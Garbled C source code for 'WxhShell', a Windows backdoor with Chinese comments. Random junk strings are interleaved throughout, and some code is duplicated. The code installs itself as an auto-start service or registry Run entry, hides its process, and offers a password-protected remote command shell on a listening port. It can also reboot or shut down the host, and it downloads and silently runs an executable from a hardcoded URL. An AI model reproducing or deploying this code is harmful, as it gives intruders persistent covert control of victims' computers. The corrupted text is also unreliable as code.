n|bzG PROCNTQSIP NtQueryInformationProcess; N6w!V]b i?]`9 z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }q=uI` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (dQsR sA ]<:qMLg HANDLE hProcess; _g%h:G&^ PROCESS_BASIC_INFORMATION pbi; hZUnNQ :nn(Ndlz9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p.x!dt\1kC if(NULL == hInst ) return 0; uTRFeO> 3<X*wVi)NN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4&wwmAp^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7qEc9S@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); df7 xpV oWV^o8& GH if (!NtQueryInformationProcess) return 0; /m8&E*+T1 b
=R9@! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4nU+Wj?T if(!hProcess) return 0; \KkAU 6 \><v1x>; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #jT=;G7f2 R[f@g;h CloseHandle(hProcess); pXl*`[0X# LHHDD\X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c-=z<:Kf if(hProcess==NULL) return 0;
y aLc~K `l}+BI`4 HMODULE hMod; BB3wG*q char procName[255]; SoNT12> unsigned long cbNeeded; QO <.l`F ;)' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }J(o!2. 9y`Vg CloseHandle(hProcess); CkEbSa<)hK r"=6s/q7 if(strstr(procName,"services")) return 1; // 以服务启动 lvk
r2Meu< fe+2U|y return 0; // 注册表启动 7R=A]@ } m!^z{S qExmf%q:q // 主模块 dobqYd4` int StartWxhshell(LPSTR lpCmdLine) S*S@a4lV7 { k?qd
-_sC SOCKET wsl; MznMt2-u BOOL val=TRUE; ghDOz
3 int port=0; ER)to<k struct sockaddr_in door; ["SD' 0)E`6s#M if(wscfg.ws_autoins) Install(); Y<[jUe`O; |$sMzPCxOk port=atoi(lpCmdLine); H@V+Q} T56%3i if(port<=0) port=wscfg.ws_port; #6F/:j; Qcs>BOV~ WSADATA data; *S] K@g if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7N}==T89[ faPgp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IT0 [;eqR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \4"01:u' door.sin_family = AF_INET; Gu5%P ou door.sin_addr.s_addr = inet_addr("127.0.0.1"); +w9X$<?_ door.sin_port = htons(port); %tT=q^%5 LRKl3"M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CINC1Ll_24 closesocket(wsl); 6/l{e)rX2o return 1; )~ =g}& } N^xk.O_TO AlhPT ( if(listen(wsl,2) == INVALID_SOCKET) { 3FE=?Q closesocket(wsl); `;v>fTcy return 1; J6J|&Z~UT, } <v[UYvZvY Wxhshell(wsl); Ncsk~=[ WSACleanup(); -|YDKcL mxkv{;ad return 0; -efB8)A N!YjM x)P } oz#;7
?9 (#5TM1/A // 以NT服务方式启动 {5J: ]{p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y5$AAas { ]n (:X DWORD status = 0; $}z%}v DWORD specificError = 0xfffffff; pPnJf{ 1^^9'/ serviceStatus.dwServiceType = SERVICE_WIN32; #S*cFnd serviceStatus.dwCurrentState = SERVICE_START_PENDING; KdU&q+C^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X}RQ&k serviceStatus.dwWin32ExitCode = 0; 8w L%(p serviceStatus.dwServiceSpecificExitCode = 0; 8 rA'd serviceStatus.dwCheckPoint = 0; O
cJ(i#Q~< serviceStatus.dwWaitHint = 0; oC >l|?h, pjrzoMF hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jgd^{! if (hServiceStatusHandle==0) return; 2kV{|`1 bbAJ5EqL status = GetLastError(); j
hr pS if (status!=NO_ERROR) 0="U'|J_ { <OA[u-ph%S serviceStatus.dwCurrentState = SERVICE_STOPPED; e'L$g-;>4b serviceStatus.dwCheckPoint = 0; +RN|ZG& serviceStatus.dwWaitHint = 0; ddG5g serviceStatus.dwWin32ExitCode = status; VMgO1-F serviceStatus.dwServiceSpecificExitCode = specificError; 3,$G?auW SetServiceStatus(hServiceStatusHandle, &serviceStatus); 04P!l return; 3Q_L6Wj~ } '?j,oRz^T z2DjYTm[~ serviceStatus.dwCurrentState = SERVICE_RUNNING; _1U7@v:<@ serviceStatus.dwCheckPoint = 0; ebmU~6v k serviceStatus.dwWaitHint = 0; E!}~j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o%V%@q H } {*Tnl-m~ C|H/x\?zRv // 处理NT服务事件,比如:启动、停止 *7:HO{P>Y VOID WINAPI NTServiceHandler(DWORD fdwControl) 8>l#F<@5 { jO+#$=C switch(fdwControl) wTK>U`o { {((|IvP` case SERVICE_CONTROL_STOP: t?6_^ 08 serviceStatus.dwWin32ExitCode = 0; a?5R;I B serviceStatus.dwCurrentState = SERVICE_STOPPED; i.Jk(%c serviceStatus.dwCheckPoint = 0; `vj"HhC serviceStatus.dwWaitHint = 0; z3Ro*yJU { <Q|(dFr`v SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Ff1x-lQ } v dR6y return; '>0rp\jC case SERVICE_CONTROL_PAUSE: >+E
serviceStatus.dwCurrentState = SERVICE_PAUSED; c</u]TD break; 'X{J~fEI! case SERVICE_CONTROL_CONTINUE: ;JAb8dyS2 serviceStatus.dwCurrentState = SERVICE_RUNNING; })^%>yLfc| break; t)h{ w"v case SERVICE_CONTROL_INTERROGATE: )EptyH break; cO^}A(Ma( }; 2pn8PQfg) SetServiceStatus(hServiceStatusHandle, &serviceStatus); \V/;i.ng } />[X
k R#w9%+ // 标准应用程序主函数 Y~C;M6(P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q>H f2R { [G>U>[u| . L'eVLQe // 获取操作系统版本 :3$-Qv X OsIsNt=GetOsVer(); -/z #?J\ GetModuleFileName(NULL,ExeFile,MAX_PATH); "[M k5tM Z9vJF.clO // 从命令行安装 [S#QGB19 if(strpbrk(lpCmdLine,"iI")) Install(); >UDb:N[ R<AT}!mkR // 下载执行文件 6i.!C5YX] if(wscfg.ws_downexe) { Y[WL}:"93 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UYW{AG2C WinExec(wscfg.ws_filenam,SW_HIDE); [ yf&]0 } g?=|kp %}x$YDO if(!OsIsNt) { "2a&G3}t" // 如果时win9x,隐藏进程并且设置为注册表启动 hm+,o_+ HideProc(); B9Y*'hmI StartWxhshell(lpCmdLine); iZbY@-3fc } P]wCC`qi else "- XJZ;5 if(StartFromService()) NwB;9ZhZ // 以服务方式启动 ^ua8Ya StartServiceCtrlDispatcher(DispatchTable); @}B,l.Tj else "FfIq; // 普通方式启动 w=MiJr#3^ StartWxhshell(lpCmdLine); Q@HW`@i 8M9}os return 0; wdzZ41y1 } Y]-7T-*+t +rcDA| UxS@]YC 5^ +QTQ =========================================== (iO8[ 9u2Mra k5ZkD+0Jo `SH#t3
5, oM4Q_A n ~D$?.,=l " o6LZ05Z-& 8R;A5o, #include <stdio.h> E`aAPk_y #include <string.h> e"]*^Q #include <windows.h> F^bzE5# #include <winsock2.h> ~+r"%KnG #include <winsvc.h> zJ7=r#b #include <urlmon.h> k,UezuV dX8N7{"[ #pragma comment (lib, "Ws2_32.lib") ]pi8%.d #pragma comment (lib, "urlmon.lib") r|W2I,P 5oP31 #define MAX_USER 100 // 最大客户端连接数 :2_8.+: #define BUF_SOCK 200 // sock buffer 1y)|m63& #define KEY_BUFF 255 // 输入 buffer >nA6w$
@+(TM5Ub #define REBOOT 0 // 重启 Ebk_(Py\ #define SHUTDOWN 1 // 关机 SC6cFyp2 FsdxLMwk1 #define DEF_PORT 5000 // 监听端口 *'&mcEpg Rz_fNlA #define REG_LEN 16 // 注册表键长度 `+>'18F #define SVC_LEN 80 // NT服务名长度
S_EN,2'e Nt^9N
#+N // 从dll定义API n fU\l< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B}y`E
< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !J@!P?0. C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /18VQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >lg-j-pV O?I~XM'S // wxhshell配置信息 ">V.nao struct WSCFG { TtZ
'~cGR int ws_port; // 监听端口 ~ d!F|BH4 char ws_passstr[REG_LEN]; // 口令 (&y~\t]H int ws_autoins; // 安装标记, 1=yes 0=no )n&@`>vm char ws_regname[REG_LEN]; // 注册表键名 ',<Bo{ char ws_svcname[REG_LEN]; // 服务名 +zz\* char ws_svcdisp[SVC_LEN]; // 服务显示名 ?-g/hXx; char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Ne`F(c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4?3*%_bDJ, int ws_downexe; // 下载执行标记, 1=yes 0=no 2G9sKg,kL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?h*Ngbj> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O%KP,q&}Y &&\HE7* }; O=Cz*j 'Lb-+X, // default Wxhshell configuration ?z]hYsy struct WSCFG wscfg={DEF_PORT, -(Y( K!n "xuhuanlingzhe", ![OKmy 1, 7Y>17=| "Wxhshell", GVaIZh< "Wxhshell", #'<s/7;~ "WxhShell Service", $<[Q8V- "Wrsky Windows CmdShell Service", QlmZ4fT[r "Please Input Your Password: ", r?l7_aBv3 1, x\r[Zp| "http://www.wrsky.com/wxhshell.exe", TrBBV]4 "Wxhshell.exe" H]XY }; >#Obhs|S{C bQ3EBJT{P // 消息定义模块 b?~%u+'3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +U:U/c5Z^ char *msg_ws_prompt="\n\r? for help\n\r#>"; !N@d51T=N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 kM4\En char *msg_ws_ext="\n\rExit."; 9O.okU char *msg_ws_end="\n\rQuit."; `qnNEJL, char *msg_ws_boot="\n\rReboot..."; S1B^FLe7X char *msg_ws_poff="\n\rShutdown..."; [A.ix}3mm char *msg_ws_down="\n\rSave to "; scsN2#D7U/ I!L`W
_ char *msg_ws_err="\n\rErr!"; *C*'J7 char *msg_ws_ok="\n\rOK!"; yG`J3++
S `<z"BGQ char ExeFile[MAX_PATH]; Wt%+q{ int nUser = 0; *h `P+_Q7 HANDLE handles[MAX_USER]; 88GS Bg:YH int OsIsNt; ~_ 8X%uty ])sIQ{P SERVICE_STATUS serviceStatus; l|z0aF;z SERVICE_STATUS_HANDLE hServiceStatusHandle; b,8\i|*!f `=zlS"dQ
// 函数声明 qkEre int Install(void); ?Bdhn{_ int Uninstall(void); !FqJP
OGm int DownloadFile(char *sURL, SOCKET wsh); /g_cz&luR int Boot(int flag); zB?} {@ void HideProc(void); p:GB"e9>H int GetOsVer(void); b3Uw"{p int Wxhshell(SOCKET wsl); r}1.=a void TalkWithClient(void *cs); xxsax/h int CmdShell(SOCKET sock); 7l%]/`Y- int StartFromService(void); S{q c1qj int StartWxhshell(LPSTR lpCmdLine); 1j9R^ -
DO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ob+Rnfx37 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ID#p5`3n m!qbQMXn // 数据结构和表定义 IsC`r7 SERVICE_TABLE_ENTRY DispatchTable[] = z;dFS { 3Dd"qON! {wscfg.ws_svcname, NTServiceMain}, ZJ$nHS?ra {NULL, NULL} R8*z}xy{ }; ?OYK'p.
<:,m // 自我安装 ^{IF2_h" int Install(void) /.{q2] { Z/r =4 char svExeFile[MAX_PATH]; .]0u#fz0y HKEY key; nkp, strcpy(svExeFile,ExeFile); eYN=? 2+2Gl7" s // 如果是win9x系统,修改注册表设为自启动 bI_6';hq! if(!OsIsNt) { )dv w.X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S^Lu RF]F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8,0WHivg RegCloseKey(key); Ly7|:IbC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YPV@/n[N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Vg=+FEO RegCloseKey(key); Tke3X\| return 0; CWTPf1?eB } i; qb\ } 3?d o|> } 4Pbuv6`RK else { LkUYh3 "}ms| // 如果是NT以上系统,安装为系统服务 Q1A_hW2 x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z4^O`yS9+ if (schSCManager!=0) E=H>|FgS { Aa.eu=@I SC_HANDLE schService = CreateService *t)Y@=k3> ( p-6Y5$Y schSCManager, \-]zXKl2k wscfg.ws_svcname, d3m!34ml wscfg.ws_svcdisp, hnk,U:7} SERVICE_ALL_ACCESS, LXZ0up-B- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _6tir'z SERVICE_AUTO_START, o4%H/|Oq. SERVICE_ERROR_NORMAL, )}/ ycTs svExeFile, EDl*UG83G NULL, u["3| `C5 NULL, ,[}
XK9 NULL, ,R-T( <r NULL, 7z_EX8^ NULL
JJHfg) ); _|'e Az if (schService!=0) StuQ} { uuD|%-Ng CloseServiceHandle(schService); 7CK3t/3D CloseServiceHandle(schSCManager); B$Z%_j& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z154lY}K strcat(svExeFile,wscfg.ws_svcname); u{6b>c|,X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t-;zgW5mwF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iFJ1}0<(x RegCloseKey(key); R/_bk7o]H return 0; zF)&o} } 69 >- } /S9(rI<' CloseServiceHandle(schSCManager); `/"rs@ } 17
k9h?s* } +2KYtyI \Nvu[P return 1; cbton<r~ } ?ufX3yia i40'U?eG~6 // 自我卸载 +nz6+{li\ int Uninstall(void) 61[ 8I},V { 1?oX" HKEY key; dbE]&w`?d K1gZ>FEY|N if(!OsIsNt) { M2$.Yom[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P[G.LO RegDeleteValue(key,wscfg.ws_regname); Asy&X RegCloseKey(key); "CX@a" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uZg[PS=@!X RegDeleteValue(key,wscfg.ws_regname); L&I8lG RegCloseKey(key); I*SrKZb return 0; :rBPgrt } U5iyvU=UG } C8xx R~mq } j&
H4L else { v!>(1ROQ.= or8`.hEHI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *%nV<}e^_= if (schSCManager!=0) xpO'.xEs { =(3Yj[>st SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PXx:JZsju if (schService!=0) &(Yv&jX { SyB2A\A if(DeleteService(schService)!=0) { ZNKopA(=|% CloseServiceHandle(schService); r*r3QsO CloseServiceHandle(schSCManager); zAZ+'9LB return 0; ' 1 }ybSG } s-Z< CloseServiceHandle(schService); k(]R;`f$W } mnG\qsKNLK CloseServiceHandle(schSCManager); BQ;F`!Hx? } >, 9R :X( } Rs +), F%]ZyO9 return 1; <TDp8t9bU } OxC8xB;` <\fB+ AZ // 从指定url下载文件 ,\Q^[e!m~ int DownloadFile(char *sURL, SOCKET wsh) xpU7ZY { l9P=1TL HRESULT hr; p9(|p Z char seps[]= "/"; R ^ln-H; char *token; EL$"/ptE char *file; \Zgc
[F char myURL[MAX_PATH]; %$*WdK# char myFILE[MAX_PATH]; 2}BQ=%E!' rP7[{'%r strcpy(myURL,sURL); }#<mK3MBe token=strtok(myURL,seps); P&=H<^yd while(token!=NULL)
# h/#h\ { %aB
RL6 file=token; jY +u OH token=strtok(NULL,seps); @~+W } QyEGK %0gcNk"= GetCurrentDirectory(MAX_PATH,myFILE); QF74' strcat(myFILE, "\\"); S=@bb$4-T strcat(myFILE, file); 7;i [ send(wsh,myFILE,strlen(myFILE),0); }<9IH%sgF send(wsh,"...",3,0); ] oMtqkiR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XH`W( if(hr==S_OK) zgnZ72% return 0; Bs!F |x( else qj#C8Tc7 return 1; z*w.A=r _X6@.sM/2 } AhCqQ.O71 >* )fmfY // 系统电源模块 fN!lXPgM int Boot(int flag) }ZKG-~ { .*k$abb HANDLE hToken; 6]^~yby P
TOKEN_PRIVILEGES tkp; QB"Tlw( n90DS/Yx if(OsIsNt) { xe&w.aBI> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K-2oSS56 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DfsPg':z tkp.PrivilegeCount = 1; QSNPraT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !j8
DCVb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LZI[5tA " if(flag==REBOOT) { ng6".u9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]=28s
*@ return 0; iU/v;T( } 9{cpxJ else { xW.~Jt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y7ZYo7avg return 0; _Oc(K
"v } _wp_y-" } EZee
kxs else { TZ+- >CG if(flag==REBOOT) { =H_vRd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (~
`?_ return 0; Jmml2?V-c } !zZ3F|+HB else { 8 t5o&8v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -FGM>~x return 0; $l=& } C)?tf[!_6 } g@ 2f&m 'o]kOp@q return 1; @9e}kiW } ak"W/"2: _C54l // win9x进程隐藏模块 !Pc&Sg void HideProc(void) Wi+}qO { fWz=bJ"V eq6>C7.$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i1 >oRT{Z
if ( hKernel != NULL ) m|]:oT`M { Ju@8_ ?8= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V~
q
b2$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [aF"5G FreeLibrary(hKernel); %5ovW<E: } B(1WI_}~ cfC}"As return; V)Sw\tS6g } gA:unsI )&s9QBo{b // 获取操作系统版本 I&wJK'GM` int GetOsVer(void) 1'YUK"i { =1+/`w OSVERSIONINFO winfo; X-y3CO:&@h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W QqOXF GetVersionEx(&winfo); 2Bz\Tsp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @:Emmzucv| return 1; t\XA
JU else re)7h$f} return 0; E"zC6iYZ; } k!"6mo@rd \#!B*:u // 客户端句柄模块 U62Z ?nge% int Wxhshell(SOCKET wsl) {HtW`r1)Tt { 4Ifz-t/ SOCKET wsh; .x'?&7#( struct sockaddr_in client; h7kn
>q; DWORD myID; Vj[hT~{f f=IF_|@^S while(nUser<MAX_USER) ):]5WHYg { vyvb-oz;u int nSize=sizeof(client); ~5>k_\G8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D4O^5?F)| if(wsh==INVALID_SOCKET) return 1; )8`i%2i= v|R#[vtFd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8bdx$,$k if(handles[nUser]==0) Ei4Iv#Oi` closesocket(wsh); V<ii else ^6QzaC3 nUser++; `b KJ } KU^|T2s% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jx#9
yioX^`Fc(~ return 0; ~5o2jTNy`p } F<4>g+Ag D]twid~OS // 关闭 socket K]&i9`>N void CloseIt(SOCKET wsh) fXSuJ<G { u&Yd+'); closesocket(wsh); "$.B@[iY@ nUser--; W1JvLU5L*r ExitThread(0); @:}l a } ?=,7'@e TDX~?>P // 客户端请求句柄 +45.fo void TalkWithClient(void *cs) '?Xf(6o1 { #x6EZnG ct@3] SOCKET wsh=(SOCKET)cs; XzBlT( `w char pwd[SVC_LEN]; #sE:xIR char cmd[KEY_BUFF]; E(_lm&,4+ char chr[1]; 84<zTmm int i,j; aA]wFZ K+|0~/0 while (nUser < MAX_USER) { (QS 0 {s0!hp if(wscfg.ws_passstr) { a1shP};pK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b%].D(qBy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7ufTmz#j< //ZeroMemory(pwd,KEY_BUFF); 0|kH0c,T- i=0; $ I
J^ while(i<SVC_LEN) { BP@V:z 0jt@|3 // 设置超时 dKY#Tl] fd_set FdRead; kZ= 2#. struct timeval TimeOut; RG 9iTA' FD_ZERO(&FdRead);
i (`Q{l FD_SET(wsh,&FdRead); IEe;ygL# TimeOut.tv_sec=8; 'vV+Wu#[ TimeOut.tv_usec=0; 'Hsd7Dpi} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n5y0$S/D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y+
4#Iy K j~!E
H" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }l&y8,[: pwd=chr[0]; >DAi-`e if(chr[0]==0xd || chr[0]==0xa) { ]GDjR'[z pwd=0; s@p:XO break; {I/t3.R` } Rm}G4Pq i++; [Wxf,rW i } U#%+FLX@w Lb?0< // 如果是非法用户,关闭 socket I%{ 1K+V/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LfJMSscfv } XePGOw))O eH~T PH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rP#&WSLVj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); </b_Rar %pLqX61t= while(1) { S263h(H Gr'|nR8 ZeroMemory(cmd,KEY_BUFF); PbfgWGr U?ZWDr"*`w // 自动支持客户端 telnet标准 E)|Bl> j=0; fOdX2{7m while(j<KEY_BUFF) { o wwWm1@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5lyHg{iqD cmd[j]=chr[0]; %~M#3Ywa if(chr[0]==0xa || chr[0]==0xd) { qfRrX" cmd[j]=0; .*Z#;3 break; .EC~o } :m36{# j++; !$#5E1:\ } >>cL"m 1Beh&pl^ // 下载文件 )$K\:w> if(strstr(cmd,"http://")) { v3(0Mu0J send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5=b6B=\*~ if(DownloadFile(cmd,wsh)) fu?u~QZ8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?J-D6; else \YHl( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AW'$5NF> } KL*+gq0k else { Ua4P@#cU :
@$5M switch(cmd[0]) { $LG.rJ/* ENI|e,'[ // 帮助 |XMWi/p case '?': { iBmvy7S? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8"A0@fNz break; +11 oVW } v^;vH$B // 安装 ..w$p-1 case 'i': { "
t?44[ if(Install()) Hz=s)6$ey send(wsh,msg_ws_err,strlen(msg_ws_err),0); ":qS9vW else }h* j{b, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QU(Lv(/O break; #V$sb1u } HZjuL.Tj // 卸载 Lhrlz,1 case 'r': { t^}"8 if(Uninstall())
y|NY,{:] send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Fe=:q else Qz"//=hC|H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0#ON}l)> break; 1bHQB$%z } {:KPEN // 显示 wxhshell 所在路径 x![G'I case 'p': { $e.Bz` char svExeFile[MAX_PATH]; a54S,}| strcpy(svExeFile,"\n\r"); na
0Zb strcat(svExeFile,ExeFile); mX, @yCI send(wsh,svExeFile,strlen(svExeFile),0); qQ1D }c@ break; R^]a<g, } P@x@5uC2 // 重启 ,b?G]WQrHs case 'b': { :a:m>S<~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AS0mMHJk if(Boot(REBOOT)) rB|4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); jo<Gf 5 else { 6/vMK<Fz9 closesocket(wsh); &Aym@G|k? ExitThread(0); [E"3?p } nFe break; @}uo:b:Q } 44KWS~ // 关机 j&b<YPZ case 'd': { _Y$v=!fY& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !3o/c w9 if(Boot(SHUTDOWN)) C4t~k send(wsh,msg_ws_err,strlen(msg_ws_err),0); EW3--33s else { /Xv@g$ closesocket(wsh); um\A ExitThread(0); L`fT;2 } }WF6w+ break; _d+` Gw } 9>ZX@1]m_ // 获取shell t}MT<Jj case 's': { CK_\K,xVT CmdShell(wsh); wRq
f' closesocket(wsh); :c`djM^ll ExitThread(0); XhN?E-WywQ break; {7q8@`Oa } yVJ)JhV // 退出 /Ao.b|mm case 'x': { sDu&9+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?,C'\8' CloseIt(wsh); f9hH{(A break; Ri}JM3\J } Uo[`AzD3 // 离开 ]iZ-MG)J case 'q': { ;<%d^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); PWyFys closesocket(wsh); ]eX(K5 A WSACleanup(); rP/W,!
7:K exit(1); ! \5)!B break; 3wfJ!z-E8 } U.<a d } }VVtv1 } gEq6[G a t=;}}X // 提示信息 $. sTb if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 52F3r:Rk } e'=#G$S?g } W#wC @v.?z2h return; u!b0<E } 3ZvQUH/{W h(^[WSa // shell模块句柄 w"A>mEex< int CmdShell(SOCKET sock) "c![s% { $]?M[sL\N7 STARTUPINFO si; W=2]!%3# ZeroMemory(&si,sizeof(si)); dQ#oY|a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pwF])uf*{\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hq,NOP PROCESS_INFORMATION ProcessInfo; eEeK ]8@ char cmdline[]="cmd"; 6U]r 3
Rr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -NDB.~E^DJ return 0; %*Yb
J_j7 } Ev48|X6 ~$7YEs) // 自身启动模式 0f;|0siTAm int StartFromService(void) HLh]*tQG { lvUWs typedef struct 4hn'b[ { ntZHO}' DWORD ExitStatus; a!PN`N28 DWORD PebBaseAddress; 8Z
0@-8vi DWORD AffinityMask; )1O|+m k DWORD BasePriority; q-e3;$ ULONG UniqueProcessId; CZ(fP86e ULONG InheritedFromUniqueProcessId; T\Jm=+]c! } PROCESS_BASIC_INFORMATION; @^HZTuP2; Tb]
h<S PROCNTQSIP NtQueryInformationProcess; W@~a#~1O \JNWL yw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )=0@4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ETfoL.d$( kQrby\F(< HANDLE hProcess; 0X%#9s~ PROCESS_BASIC_INFORMATION pbi; U{HBmSR =':B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p
>nKNd_aQ if(NULL == hInst ) return 0; jfZ) 4>]B8ZxH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @~IZ%lEQsD g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BqOMg$<\[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); al4X} YO;@Tj2)x if (!NtQueryInformationProcess) return 0; gyCXv0*z `,FhCT5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A.<M*[{q if(!hProcess) return 0; >a: 6umY z~;@Mo"*f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ul|htB<1: K!gocNOf CloseHandle(hProcess); 